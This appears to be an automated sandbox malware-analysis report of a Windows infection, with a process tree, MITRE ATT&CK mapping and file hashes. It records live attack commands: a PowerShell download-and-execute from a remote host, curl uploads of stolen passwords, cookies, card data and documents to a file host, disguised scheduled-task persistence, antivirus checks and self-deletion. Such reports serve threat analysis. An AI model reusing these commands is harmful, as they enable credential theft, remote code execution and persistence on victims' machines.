        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:2860
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:2176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:1708
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:3992
        
        C:\Users\Admin\AppData\Local\Temp\527332933.exe
        
        C:\Users\Admin\AppData\Local\Temp\527332933.exe
        7⤵
        Executes dropped EXE
        
        PID:3488
        
        C:\Users\Admin\AppData\Local\Temp\966928739.exe
        
        C:\Users\Admin\AppData\Local\Temp\966928739.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5696
        
        C:\Users\Admin\AppData\Local\Temp\1889420156.exe
        
        C:\Users\Admin\AppData\Local\Temp\1889420156.exe
        7⤵
        
        PID:3932
    - - C:\Users\Admin\Desktop\Files\jdkashk.exe
        
        "C:\Users\Admin\Desktop\Files\jdkashk.exe"
        5⤵
        Executes dropped EXE
        
        PID:3396
    - - C:\Users\Admin\Desktop\Files\pei.exe
        
        "C:\Users\Admin\Desktop\Files\pei.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3088
      - C:\Users\Admin\AppData\Local\Temp\180626779.exe
        
        C:\Users\Admin\AppData\Local\Temp\180626779.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4836
        
        C:\Windows\sysnldcvmr.exe
        
        C:\Windows\sysnldcvmr.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\2375828698.exe
        
        C:\Users\Admin\AppData\Local\Temp\2375828698.exe
        8⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:440
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        10⤵
        
        PID:3968
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:3840
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        10⤵
        
        PID:1652
        
        C:\Users\Admin\AppData\Local\Temp\2058428125.exe
        
        C:\Users\Admin\AppData\Local\Temp\2058428125.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5456
        
        C:\Users\Admin\AppData\Local\Temp\2410118216.exe
        
        C:\Users\Admin\AppData\Local\Temp\2410118216.exe
        8⤵
        Executes dropped EXE
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\273046266.exe
        
        C:\Users\Admin\AppData\Local\Temp\273046266.exe
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5768
    - - C:\Users\Admin\Desktop\Files\service.exe
        
        "C:\Users\Admin\Desktop\Files\service.exe"
        5⤵
        Executes dropped EXE
        
        PID:3032
    - - C:\Users\Admin\Desktop\Files\nova.exe
        
        "C:\Users\Admin\Desktop\Files\nova.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2856
    - - C:\Users\Admin\Desktop\Files\tdrpload.exe
        
        "C:\Users\Admin\Desktop\Files\tdrpload.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4376
    - - C:\Users\Admin\Desktop\Files\BattleGermany.exe
        
        "C:\Users\Admin\Desktop\Files\BattleGermany.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4068
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Cassette Cassette.cmd & Cassette.cmd & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:876
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:3396
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2960
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:3636
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:388
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 177479
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4388
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "FoolBurkeRetainedWait" Drop
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5076
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Tracked + ..\Luggage + ..\Prime + ..\Involved + ..\Fluid + ..\Newport + ..\Rod + ..\Society s
        7⤵
        
        PID:4004
        
        C:\Users\Admin\AppData\Local\Temp\177479\Community.pif
        
        Community.pif s
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3916
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c schtasks.exe /create /tn "Capable" /tr "wscript //B 'C:\Users\Admin\AppData\Local\SkyNav Technologies\SkyPilot.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4968
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "Capable" /tr "wscript //B 'C:\Users\Admin\AppData\Local\SkyNav Technologies\SkyPilot.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1120
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "SkyPilot" /tr "wscript //B 'C:\Users\Admin\AppData\Local\SkyNav Technologies\SkyPilot.js'" /sc onlogon /F /RL HIGHEST
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        8⤵
        
        PID:5228
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        8⤵
        
        PID:5880
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        8⤵
        
        PID:1052
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4520
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 15
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4024
    - - C:\Users\Admin\Desktop\Files\file.exe
        
        "C:\Users\Admin\Desktop\Files\file.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2348
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://osecweb.ir/js/config_20.ps1')"
        6⤵
        
        PID:2824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(New-Object Net.Webclient).DownloadString('https://osecweb.ir/js/config_20.ps1')
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:1004
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\Desktop\Files\file.exe" >> NUL
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1404
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4852
    - - C:\Users\Admin\Desktop\Files\PURLOG.exe
        
        "C:\Users\Admin\Desktop\Files\PURLOG.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:412
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\Desktop\Files\PURLOG.exe' -Force
        6⤵
        
        PID:4056
    - - C:\Users\Admin\Desktop\Files\build_2024-07-24_23-16.exe
        
        "C:\Users\Admin\Desktop\Files\build_2024-07-24_23-16.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:2052
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\build_2024-07-24_23-16.exe" & rd /s /q "C:\ProgramData\HIJEGIIJDGHD" & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:6920
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5952
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 2164
        6⤵
        Program crash
        
        PID:1828
    - - C:\Users\Admin\Desktop\Files\GOLD.exe
        
        "C:\Users\Admin\Desktop\Files\GOLD.exe"
        5⤵
        Executes dropped EXE
        
        PID:5600
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 784
        6⤵
        Program crash
        
        PID:4748
    - - C:\Users\Admin\Desktop\Files\Documents.exe
        
        "C:\Users\Admin\Desktop\Files\Documents.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5372,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5176 /prefetch:8
    3⤵
    PID:1316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5516,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5392 /prefetch:1
    3⤵
    PID:2440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=3360,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3316 /prefetch:1
    3⤵
    PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4660
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3836
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2500
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  PID:4408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4912
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5024
- C:\Users\Admin\Desktop\Files\creal.exe
  "C:\Users\Admin\Desktop\Files\creal.exe"
  2⤵
  - Executes dropped EXE
  PID:1508
- - C:\Users\Admin\Desktop\Files\creal.exe
    "C:\Users\Admin\Desktop\Files\creal.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      PID:64
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4024
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:1764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:3476
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:3972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:1052
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
        5⤵
        Blocklisted process makes network request
        
        PID:4884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4908
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:1864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:2676
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:1616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4004
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupDebug.pps" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4884
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Documents/BackupDebug.pps" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:2124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/CloseEdit.xps" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4648
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Documents/CloseEdit.xps" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4628
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5324
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5416
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5648
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:764
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5348
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5888
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5912
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:6036

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3320

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5092

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:1848

C:\ProgramData\nnoqmi\qmrmgva.exe
C:\ProgramData\nnoqmi\qmrmgva.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2816 -ip 2816
1⤵
PID:2416

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5600 -ip 5600
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2052 -ip 2052
1⤵
PID:6796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports\de447823-8a70-41ee-a63c-f9696dd67531.dmp

Filesize
250KB

MD5
ceaf445999a1a6e83734a30de6f4f84e

SHA1
1a7a02d08f5bc7f4309728cc79cd69a62a11699f

SHA256
98210a36743acbae6a9496b7b9fce82fe989ba6259d07b3cc73b9c6ec314c3a8

SHA512
15a6766d027e778dd3c875c07467fa4a182c8c4e5dc9af0c7a7fa7e64e8cfecf3ca67bb30c422397618bd9e9576a24693b057c06904d5ead83fb5416685d2d82

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
470e3642d8c12bffd14bb47b2a030495

SHA1
146344d713cee208e953b4432c9d5df2306cae45

SHA256
d8f32375234b8061267a4b1d39414d36dc06fad5b7d8f0db9a5074f06f2401ed

SHA512
d22137331edfc918231ad35b127ff92092c37a3c3bb87e52fcfcf08e1664a230bff1c92661a1d3a5d378dd2ffa4519351ff28af266493a2e4aba01ecef62c078

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
336B

MD5
51c015847ad1c6a7217241fc07eee42a

SHA1
5e6df12ac07ae17b9301d6535b71e5d749f911d2

SHA256
74820a436df16fce05c653f1618f116a082a6de2026e9beec43c9f58ce8d702b

SHA512
d95cff1e48f81ee1d662f0481f38d085b8ee43289f98daee32720edc1aea72bedb2f4ba259dc732e083308e0e02ba3140f93c59e231ddad18a860d932a377afe

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
384B

MD5
80ac5bf6621242512ca86b0b3a2a16b4

SHA1
c8bcd7cce7ca4dbcaf78e2d22c00f6cb1ffee00a

SHA256
668e7c9a72527fc86d32e720880bb51082a19c77024d3757e1bb2a2f88ddc726

SHA512
7e23abb8ffcbba6a56f6842e47e2b3de96aa0f4af7c0b5e253d042aa673763b60b7663230e829be0fe9f19f08d36786b539e8282c22d0c0d7e7508e57a0a358e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.83.1_0\_locales\en_CA\messages.json

Filesize
851B

MD5
07ffbe5f24ca348723ff8c6c488abfb8

SHA1
6dc2851e39b2ee38f88cf5c35a90171dbea5b690

SHA256
6895648577286002f1dc9c3366f558484eb7020d52bbf64a296406e61d09599c

SHA512
7ed2c8db851a84f614d5daf1d5fe633bd70301fd7ff8a6723430f05f642ceb3b1ad0a40de65b224661c782ffcec69d996ebe3e5bb6b2f478181e9a07d8cd41f6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.83.1_0\dasherSettingSchema.json

Filesize
854B

MD5
4ec1df2da46182103d2ffc3b92d20ca5

SHA1
fb9d1ba3710cf31a87165317c6edc110e98994ce

SHA256
6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6

SHA512
939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
4KB

MD5
cdc69950305905c58683166f09c5cae4

SHA1
8b251121dc4b87c897ddf719d77b2d6835a4ae7b

SHA256
bc7225bbd6f517bf150adf2f4e67afe6ce757ea8009e8caadccdd5dd2ad1203c

SHA512
94a9006788a01325ff7abd673f1f106bf59d58ca64f326fb1ee79d1aaf2acef9d59c48e8f0a11642482e1047acaa92cfddd1967aaa98cd4b4c37271ea340b426

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
3KB

MD5
63af32614b8bbe9614f327661b6e1346

SHA1
4e78b2152e9f1b9b0f13239ec1c995eeddd97288

SHA256
b1177f84bac1c62a1da4178ff2439bb85651e927e2a852c7ccef59bc4651c671

SHA512
25090bffef26eb620e2b44385ba0265c31411ef5aeaca75a0d09a3e030563bafa87719fbe13a3819de57eb1630bad1673812b28a54cbb2750dd6cd7eebce75a5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
